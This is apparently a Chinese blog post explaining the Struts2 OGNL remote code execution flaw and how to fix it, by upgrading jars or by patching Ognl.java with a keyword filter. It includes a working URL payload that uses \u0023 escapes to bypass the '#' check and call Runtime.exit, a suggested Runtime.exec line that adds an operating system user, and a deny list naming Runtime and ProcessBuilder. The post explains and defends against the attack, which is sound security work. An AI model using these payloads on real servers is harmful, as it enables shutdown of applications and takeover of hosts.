`
fanjf
  • 浏览: 296977 次
  • 性别: Icon_minigender_1
  • 来自: 安徽
社区版块
存档分类
最新评论

Struts2漏洞原理及解决办法

    博客分类:
  • SSH
 
阅读更多

    1、原理

    Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

    ?user.address.city=Bishkek&user['favoriteDrink']=kumys
    ONGL将它转换为:
    action.getUser().getAddress().setCity("Bishkek") 
    action.getUser().setFavoriteDrink("kumys")

    这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 www.2cto.com

    为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:

    


    此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击
    ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

    


    转义后是这样:

    ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

    


    OGNL处理时最终的结果就是

    java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

    类似的可以执行
    java.lang.Runtime.getRuntime().exec("net user 用户名 密码 /add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)
    只要有权限就可以执行任何DOS命令。

    2、解决方法
    网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4
    下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的:
    commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
    javassist-3.11.0.GA.jar        (新加包)
    ognl-3.0.5.jar            (替换旧版本)
    struts2-core-2.3.4.1.jar    (替换旧版本)
    xwork-core-2.3.4.1.jar        (替换旧版本)

 

Ognl.java 类代码:

package ognl;

import java.io.StringReader;
import java.util.Map;
import ognl.enhance.ExpressionAccessor;
 
public abstract class Ognl
{

    public static Object parseExpression(String expression)
        throws OgnlException
    {
//     漏洞警示:Struts2远程代码执行漏洞
//     覆盖ognl.jar中的 Ognl.class
//     参考:   http://www.cnblogs.com/chinahnzhou/p/struts2_bug_s2-016_s2-017_solution.html
//     参考:     http://my-corner.iteye.com/blog/720209
     String evalMethod[] = { "Runtime", "ProcessBuilder" ,"new file"};
        String methodString = null;
        methodString = expression.toLowerCase();    
        for (int i = 0; i < evalMethod.length; i++) {
            if (methodString.indexOf(evalMethod[i].toLowerCase()) > -1) {
                return null;
            }
        }
//end
       
        try
        {
            OgnlParser parser = new OgnlParser(new StringReader(expression));
            return parser.topLevelExpression();
        }
        catch(ParseException e)
        {
            throw new ExpressionSyntaxException(expression, e);
        }
        catch(TokenMgrError e)
        {
            throw new ExpressionSyntaxException(expression, e);
        }
    }

    public static Node compileExpression(OgnlContext context, Object root, String expression)
        throws Exception
    {
        Node expr = (Node)parseExpression(expression);
        OgnlRuntime.compileExpression(context, expr, root);
        return expr;
    }

    public static Map createDefaultContext(Object root)
    {
        return addDefaultContext(root, null, null, null, new OgnlContext());
    }

    public static Map createDefaultContext(Object root, ClassResolver classResolver)
    {
        return addDefaultContext(root, classResolver, null, null, new OgnlContext());
    }

    public static Map createDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter)
    {
        return addDefaultContext(root, classResolver, converter, null, new OgnlContext());
    }

    public static Map createDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter, MemberAccess memberAccess)
    {
        return addDefaultContext(root, classResolver, converter, memberAccess, new OgnlContext());
    }

    public static Map addDefaultContext(Object root, Map context)
    {
        return addDefaultContext(root, null, null, null, context);
    }

    public static Map addDefaultContext(Object root, ClassResolver classResolver, Map context)
    {
        return addDefaultContext(root, classResolver, null, null, context);
    }

    public static Map addDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter, Map context)
    {
        return addDefaultContext(root, classResolver, converter, null, context);
    }

    public static Map addDefaultContext(Object root, ClassResolver classResolver, TypeConverter converter, MemberAccess memberAccess, Map context)
    {
        OgnlContext result;
        if(!(context instanceof OgnlContext))
        {
            result = new OgnlContext();
            result.setValues(context);
        } else
        {
            result = (OgnlContext)context;
        }
        if(classResolver != null)
            result.setClassResolver(classResolver);
        if(converter != null)
            result.setTypeConverter(converter);
        if(memberAccess != null)
            result.setMemberAccess(memberAccess);
        result.setRoot(root);
        return result;
    }

    public static void setClassResolver(Map context, ClassResolver classResolver)
    {
        context.put("_classResolver", classResolver);
    }

    public static ClassResolver getClassResolver(Map context)
    {
        return (ClassResolver)context.get("_classResolver");
    }

    public static void setTypeConverter(Map context, TypeConverter converter)
    {
        context.put("_typeConverter", converter);
    }

    public static TypeConverter getTypeConverter(Map context)
    {
        return (TypeConverter)context.get("_typeConverter");
    }

    public static void setMemberAccess(Map context, MemberAccess memberAccess)
    {
        context.put("_memberAccess", memberAccess);
    }

    public static MemberAccess getMemberAccess(Map context)
    {
        return (MemberAccess)context.get("_memberAccess");
    }

    public static void setRoot(Map context, Object root)
    {
        context.put("root", root);
    }

    public static Object getRoot(Map context)
    {
        return context.get("root");
    }

    public static Evaluation getLastEvaluation(Map context)
    {
        return (Evaluation)context.get("_lastEvaluation");
    }

    public static Object getValue(Object tree, Map context, Object root)
        throws OgnlException
    {
        return getValue(tree, context, root, null);
    }

    public static Object getValue(Object tree, Map context, Object root, Class resultType)
        throws OgnlException
    {
        OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
        Node node = (Node)tree;
        Object result;
        if(node.getAccessor() != null)
            result = node.getAccessor().get(ognlContext, root);
        else
            result = node.getValue(ognlContext, root);
        if(resultType != null)
            result = getTypeConverter(context).convertValue(context, root, null, null, result, resultType);
        return result;
    }

    public static Object getValue(ExpressionAccessor expression, OgnlContext context, Object root)
    {
        return expression.get(context, root);
    }

    public static Object getValue(ExpressionAccessor expression, OgnlContext context, Object root, Class resultType)
    {
        return getTypeConverter(context).convertValue(context, root, null, null, expression.get(context, root), resultType);
    }

    public static Object getValue(String expression, Map context, Object root)
        throws OgnlException
    {
        return getValue(expression, context, root, null);
    }

    public static Object getValue(String expression, Map context, Object root, Class resultType)
        throws OgnlException
    {
        return getValue(parseExpression(expression), context, root, resultType);
    }

    public static Object getValue(Object tree, Object root)
        throws OgnlException
    {
        return getValue(tree, root, ((Class) (null)));
    }

    public static Object getValue(Object tree, Object root, Class resultType)
        throws OgnlException
    {
        return getValue(tree, createDefaultContext(root), root, resultType);
    }

    public static Object getValue(String expression, Object root)
        throws OgnlException
    {
        return getValue(expression, root, ((Class) (null)));
    }

    public static Object getValue(String expression, Object root, Class resultType)
        throws OgnlException
    {
        return getValue(parseExpression(expression), root, resultType);
    }

    public static void setValue(Object tree, Map context, Object root, Object value)
        throws OgnlException
    {
        OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
        Node n = (Node)tree;
        if(n.getAccessor() != null)
        {
            n.getAccessor().set(ognlContext, root, value);
            return;
        } else
        {
            n.setValue(ognlContext, root, value);
            return;
        }
    }

    public static void setValue(ExpressionAccessor expression, OgnlContext context, Object root, Object value)
    {
        expression.set(context, root, value);
    }

    public static void setValue(String expression, Map context, Object root, Object value)
        throws OgnlException
    {
        setValue(parseExpression(expression), context, root, value);
    }

    public static void setValue(Object tree, Object root, Object value)
        throws OgnlException
    {
        setValue(tree, createDefaultContext(root), root, value);
    }

    public static void setValue(String expression, Object root, Object value)
        throws OgnlException
    {
        setValue(parseExpression(expression), root, value);
    }

    public static boolean isConstant(Object tree, Map context)
        throws OgnlException
    {
        return ((SimpleNode)tree).isConstant((OgnlContext)addDefaultContext(null, context));
    }

    public static boolean isConstant(String expression, Map context)
        throws OgnlException
    {
        return isConstant(parseExpression(expression), context);
    }

    public static boolean isConstant(Object tree)
        throws OgnlException
    {
        return isConstant(tree, createDefaultContext(null));
    }

    public static boolean isConstant(String expression)
        throws OgnlException
    {
        return isConstant(parseExpression(expression), createDefaultContext(null));
    }

    public static boolean isSimpleProperty(Object tree, Map context)
        throws OgnlException
    {
        return ((SimpleNode)tree).isSimpleProperty((OgnlContext)addDefaultContext(null, context));
    }

    public static boolean isSimpleProperty(String expression, Map context)
        throws OgnlException
    {
        return isSimpleProperty(parseExpression(expression), context);
    }

    public static boolean isSimpleProperty(Object tree)
        throws OgnlException
    {
        return isSimpleProperty(tree, createDefaultContext(null));
    }

    public static boolean isSimpleProperty(String expression)
        throws OgnlException
    {
        return isSimpleProperty(parseExpression(expression), createDefaultContext(null));
    }

    public static boolean isSimpleNavigationChain(Object tree, Map context)
        throws OgnlException
    {
        return ((SimpleNode)tree).isSimpleNavigationChain((OgnlContext)addDefaultContext(null, context));
    }

    public static boolean isSimpleNavigationChain(String expression, Map context)
        throws OgnlException
    {
        return isSimpleNavigationChain(parseExpression(expression), context);
    }

    public static boolean isSimpleNavigationChain(Object tree)
        throws OgnlException
    {
        return isSimpleNavigationChain(tree, createDefaultContext(null));
    }

    public static boolean isSimpleNavigationChain(String expression)
        throws OgnlException
    {
        return isSimpleNavigationChain(parseExpression(expression), createDefaultContext(null));
    }

    private Ognl()
    {
    }
}

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics